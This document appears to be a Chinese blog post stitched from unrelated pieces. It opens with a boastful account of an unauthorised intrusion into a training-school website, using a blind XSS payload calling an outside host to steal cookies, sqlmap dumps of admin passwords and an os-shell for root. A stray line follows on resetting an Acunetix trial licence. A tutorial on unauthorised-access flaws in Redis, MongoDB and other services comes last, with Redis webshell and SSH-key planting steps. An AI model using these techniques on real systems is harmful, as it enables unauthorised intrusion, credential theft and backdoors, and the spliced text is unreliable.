2019年7月

一、起因

当我在家葛优躺之时,我亲爱的妈妈忽然给我来了一波夺命连环call。

大概内容如下:

–妈妈:儿~呀。。。你印布隐私(认不认识)搞公务员培训的机构,帮我在网上瞅瞅去,我有个朋友他儿想考公务员~

–我:(声音笑嘻嘻,心里mmp)哎呀,这个bia的天,搁家里睡觉行了。。别弄了。。

–妈妈:MLGB,叫你整,你就快点的,晚上给我回电话。

哎,父母之命不可违,悲伤的我只能放下手里的手机,开始去百度上找培训机构。

1.png

百度上面找了好久,都没找到太合适的。问了问身边的朋友:朋友给了一家网校的报名地址

http://www.xxx.com/3g/xxx/2203947.htm

2.png

没错,还带免费试学。。。真的先进。。。。

然而作为一名做培训的职业小学生,怎么肯轻信这种网校的培训质量?于是打开爱站查了一波权重。。。

3.png

这尼玛???百度权6,emmm,有点意思。见到这么高权重的站,那时我已饥渴难耐,便决定对此站点来一波渗透测试。

二、XSS盲打?安排一下

4.png

看到这里,小伙伴们肯定想。。。emm,发挥有框就插的精神,是不是可以XSS打一下试试呢?(所谓盲打说白了就是在不知道输入的信息在后台的输出位置的情况下使用XSS利用代码进行渗透测试) 说干咱就干。。。接下来就插入xss payload试试吧。。。

Payload: </textarea><script src=”=”http://xsspt.com/z6ocdy?1531815744″></script>

将payload完整黏贴进去,如图发现仅有</tex 这四个字符

5.png

审查元素看下,在表单处理上设置了maxlength,直接审查元素大法改掉就好了

6.png

把maxlength编辑为9

7.png

然后我们的XSS Payload就可以正常地全部输入到表单中了

8.png

手机那个文本框,我随便填了11位数字,然后点击提交,万幸的的是提交成功了(后端没对内容进行验证)

过了大概1个小时,突然XSS平台的邮件来了,兴奋ing。。。(客服是真的敬业)

9.png

拿着cookie,傻啦吧唧地就是进入后台一波浏览,发现权限非常小,基本上只能处理处理客服工作

10.png

不过可以查看后台的管理员账号。。。。。(果然是个大站,后台分工权限这么讲究。。。)

11.png

12.png

看着这么多的超级管理员账号,而我却只是个吊毛客服,基本上没什么权限,心里真的难受的一批。。

难道我们的渗透到这里就要结束??不可能,这显然不符合本屌的风格。。。

13.png

于是我又仔细地翻了翻后台,看看有没有地方可以来一波骚操作。。。

三、后台SQL注入?讲究

14.png

大家可以看到我们的客服处理界面是可以进行查询的,查询的过程是通过GET方式传导一个mobile参数实现查询

我们直接测试一下SQL注入的Payload,看看是否存在注入。发现页面没有返回信息,那么就很有可能存在SQL注入。

15.png

我们使用BurpSuite来抓取本出的的HTTP请求,然后保存在C:UsersSamsung 700Z5CDesktop1.txt中

16.png

接下来到了以小勃大,紧张刺激的时刻,掏出大宝贝,使用SQLMAP的 -r参数,注入本HTTP请求

命令为sqlmap -r C:UsersSamsung 700Z5CDesktop1.txt

17.png

wow,wow~注入成功了。哈哈哈。。。。我们开始直奔管理员的表

命令为sqlmap -r C:UsersSamsung 700Z5CDesktop1.txt –tables -D “nd_net” //列出nd_net数据库的表。

18.png

然后执行

sqlmap -r C:UsersSamsung 700Z5CDesktop1.txt –columns -T “net_admin_user” -D “nd_net” //列出net_admin_user表的字段

最后执行命令

sqlmap.py -r “I:T00l1.txt” –dump -C “id,nd_user,userid,nd_pass” -T “net_admin_user” -D “nd_net” –threads=10

//导出net_admin_user表中id,nd_user,userid,nd_pass几个字段的数据

19.png

全部是md5加密,拿到cmd5,一波解密,成功获取到所有管理员的账号密码,然后成功登陆以管理员的权限登陆后台

20.png

哈哈,讲究!

四、不拿Shell,与咸鱼有什么区别?

emm,就算是管理员的权限。我发现可以利用的地方依然很少,只有一些静态页面的编辑权限(而且编辑器是KindEditor,没什么方法上传拿Shell),我当时十分绝望。。。但是我发现了这个——数据库备份。

21.png

点击后,跳转到一款叫做“帝国备份王”的程序

22.png

随后,我便去该程序的官网,下载了一个帮助文档。使用默认用户admin/123456进行登陆,但是以失败告终。

但我怎末可能放弃,我一个一个测试了之前后台SQL注入得到的密码(有验证码,没法爆破的),最终在一个密码上成功地登陆了。。。我靠,高兴死我。

23.png

发现了一个PHP探针

24.png

再掏出SQLMAP,直接使用命令 sqlmap -r C:UsersSamsung 700Z5CDesktop1.txt –os-shell //获取shell

25.png

输入我们通过探针得到的路径,很幸运,ROOT权限直接os-shell成功。直接上一句话,GetShell完美结束

26.png

五、总结

本次渗透测试,虽然没有骚操作,但是总体来说用到了许多知识,现进行总结

1.XSS盲打技术
2.SQLMAP注入HTTP响应包的语法
3.人性的弱点分析(多个程序用同一个管理密码)
4.从获取绝对路径到SQLMAP获取shell
5.审查元素小技巧

破解完成后用段时间就失效了,扫不了了,只要删除wa_data.dat文件即可。亲测可用!

rm -rf /home/acunetix/.acunetix_trial/data/license/wa_data.dat

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见的未授权访问漏洞

1.MongoDB 未授权访问漏洞

2.Redis 未授权访问漏洞

3.Memcached 未授权访问漏洞CVE-2013-7239

4.JBOSS 未授权访问漏洞

5.VNC 未授权访问漏洞

6.Docker 未授权访问漏洞

7.ZooKeeper 未授权访问漏洞

8.Rsync 未授权访问漏洞

一、MongoDB 未授权访问漏洞

漏洞信息

(1) 漏洞简述开启 MongoDB 服务时若不添加任何参数默认是没有权限验证的而且可以远程访问数据库登录的用户无需密码即可通过默认端口 27017 对数据库进行增、删、改、查等高危操作。刚安装完毕时MongoDB 都默认有一个 admin 数据库此时 admin 数据库为空没有记录权限相关的信息。当 admin.system.users 一个用户都没有时即使 MongoDB 启动时添加了 –auth 参数还是可以做任何操作不管是否以 –auth 参数启动直到在 admin.system.users 中添加了一个用户。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围MongoDB 数据库。

检测方法

可以自己编制相应脚本或利用专用工具检测也可以查看配置文件

(1) 检测是否仅监听 127.0.0.1

--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1

(2) 检测是否开启 auth 认证

mongod --auth
or
vim /etc/mongodb.conf
auth = true

修复方法

(1) 为 MongoDB 添加认证

1.MongoDB 启动时添加 -auth 参数。

2.给 MongoDB 添加用户

use admin # 使用 admin 库
db.addUser“用户名” “密码”# 添加用户名、密码
db.auth“用户名”,“密码”# 验证是否添加成功返回 1 说明成功。

(2) 禁用 HTTP 和 REST 端口

MongoDB 自身带有一个 HTTP 服务并支持 REST 接口。在 2.6 版本以后这些接口默认关闭。MongoDB 默认会使用默认端口监听 Web 服务一般不需要通过 Web 方式进行远程管理建议禁用。修改配置文件或在启动时选择 -nohttpinterface 参数 nohttpinterface = false。

(3) 限制绑定 IP

启动时加入参数

--bind_ip 127.0.0.1

或在 /etc/mongodb.conf 文件中添加以下内容

bind_ip = 127.0.0.1

二、Redis 未授权访问漏洞

漏洞信息

(1) 漏洞简述Redis 是一个高性能的 Key – Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Redis 数据库。

检测方法

先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口

Nmap -A -p 6379 --script redis-info 192.168.10.153

Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下

./redis-cli -h 192.168.10.153
Info

就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

(1) 网站写码

1.先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP

2.连接后设置目录

config set dir /var/www/html此路径是服务器端 Web 网站的目录

3.设置要写入的文件名

config set dbfilename redis88.php

4.设置要写入的内容

set webshell "<?php @eval($_POST['123']); ?>"

5.保存

save

6.保存后用菜刀连接此木马得到 webshell。

(2) 结合 SSH 免密码登录

1.先在本地建个 ssh 的密钥

ssh-keygen-trsa

2.将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

注意写到文件中时一定要在前面加几行后面加几行。

3.将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt | redis -cli -h <hostname> -x set test

4.登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>
keys *
get test

5.随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。

修改保存的路径为

config set dir "/root/.ssh"

修改文件名为

config set dbfilename "authorized_keys"

保存。

6.测试一下

ssh 用户名@<IP地址>

实现免密码成功登陆。

修复方法

(1) 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令redis 客户端也需要此密码来访问 redis 服务。

(2) 配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379。

(3) 重启 Redis 服务。

(4) 清理系统中存在的后门木马。

三、Memcached 未授权访问漏洞CVE-2013-7239

漏洞信息

(1) 漏洞简述Memcached 是一套分布式高速缓存系统。它以 Key – Value 的形式将数据存储在内存中。这些数据通常是会被频繁地应用、读取的。正因为内存中数据的读取速度远远大于硬盘的读取速度所以可以用来加速应用的访问。由于 Memcached 的安全设计缺陷客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。

(2) 风险等级高风险。

(3) 漏洞编号CVE-2013-7239 。

(4) 影响范围Memcached 全版本。

检测方法

登录机器执行 netstat -an | more 命令查看端口监听情况。回显 0.0.0.0:1121111211 表示在所有网卡进行监听存在 Memcached 未授权访问漏洞。

telnet <target> 11211
or
nc -vv <target> 11211

提示连接成功表示漏洞存在。

使用端口扫描工具 nmap 进行远程扫描

nmap -sV -p11211 --script memcached-info <target>

修复方法

(1) 配置访问控制。建议用户不要将服务发布到互联网上以防被黑客利用而可以通过安全组规则或 Iptables 配置访问控制规则只允许内部必需的用户地址访问命令如下

iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT

(2) bind 指定监听 IP。如果 Memcached 没有在外网开放的必要可在 Memcached 启动时指定绑定的 IP 地址为 127.0.0.1。例如

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(3) 最小化权限运行。使用普通权限账号运行以下指定 memcached 用户运行

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

(4) 修改默认端口。修改默认 11211 监听端口为 11222 端口

memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

(5) 备份数据。为避免数据丢失升级前应做好备份或建立硬盘快照。

四、JBOSS 未授权访问漏洞

漏洞信息

(1) 漏洞简述JBOSS 企业应用平台EAP是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console 就可以浏览 jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围JBOSS 全版本。

检测方法

先用 nmap 扫描查看端口开放情况看是否开放 JBOSS 端口。再使用漏洞测试工具测试 jmx 组件存在情况通过访问 http://ip:jboss端口/ 看是否能进入 jmx-console 和 web-console 。

修复方法

JMX Console 安全配置

1.找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面这段 xml 文本的注释。

2.与 jboss-web.xml 同级的目录下还有一个文件 web.xml找到下面这段 xml 文本把 GET 和 POST 两行注释掉同时 security-constraint 整个部分取消注释, 不然存在head头绕过。

3.%JBOSS_HOME%serverdefaultconfpropsjbossws-users.properties 中删除原始的 admin/admin添加新的用户名密码。

4.%JBOSS_HOME%serverdefaultconfpropsjbossws-roles.properties 中定义新用户名所属角色。该文件定义的格式为用户名 = 角色多个角色以 “,” 隔开该文件默认为 admin 用户定义了 JBossAdmin 和 HttpInvoker 这两个角色。

# A sample roles.properties file foruse with the UsersRolesLoginModule
kermit = JBossAdmin,HttpInvoker

五、VNC 未授权访问漏洞

漏洞信息

(1) 漏洞简述VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围VNC 全版本。

检测方法

使用 metasploit 进行批量检测

(1) 在 kali 下运行 msfconsolemsfconsole。

(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnx_none_auth。

(3) 显示有哪些选项show options。

(4) 设置地址段set rhosts ip 或 段。

(5) 设置线程set threads 50。

(6) 开始扫描run。

修复方法

(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。

(2) 以最小权限的普通用户身份运行操作系统。

六、Docker 未授权访问漏洞

漏洞信息

(1) 漏洞简述Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker 存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以脱离容器拿到宿主机权限。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Docker 1.3、Docker 1.6。

检测方法

先用 nmap 扫描查看端口开放情况。2375 为 docker 端口如果存在漏洞会有以下情况url 输入 ip:2375/version 就会列出基本信息也可以执行目标服务器容器命令如 container、image 等。

修复方法

(1) 使用 TLS 认证。

(2) 网络访问控制Network Access Control

七、ZooKeeper 未授权访问漏洞

漏洞信息

(1) 漏洞简述ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

(2) 风险等级高风险。

(3) 漏洞编号无。

(4) 影响范围Zookeeper 全版本。

检测方法

(1) 通过 nmap 扫描开放了 2181 端口的主机。

(2) 运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。

检测脚本

# coding=utf-8

import socket
import sys

def check(ip, port, timeout, cmd):
try:
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, int(port)))
    s.send(cmd)
    data = s.recv(1024)
    s.close()
    print data
except:
    pass

def main():
if len(sys.argv) < 3:
    exit()
ip = sys.argv[1]
cmd = sys.argv[2]
# envi
# dump
# reqs
# ruok
# stat
check(ip, 2181, 3, cmd)

if __name__ == '__main__':
main()

修复方法

(1) 修改 ZooKeeper 默认端口,采用其他端口服务,配置服务来源地址限制策略。

(2) 增加 ZooKeeper 的认证配置。

八、Rsync 未授权访问漏洞

漏洞信息

(1) 漏洞简述:Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。

(2) 风险等级:高风险。

(3) 漏洞编号:无。

(4) 影响范围:Rsync 全版本。

检测方法

nmap 扫描:nmap ip -p837。

列出当前目录,显示用户:rsync ip。

如果是root,可以下载任意文件并上传文件。

修复方法

(1) 隐藏 module 信息:修改配置文件 list =false。

(2) 权限控制:不需要写入权限的 module 的设置为只读 Read only = true。

(3) 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问:hosts allow = 123.123.123.123。

(4) 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务。

(5) 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh。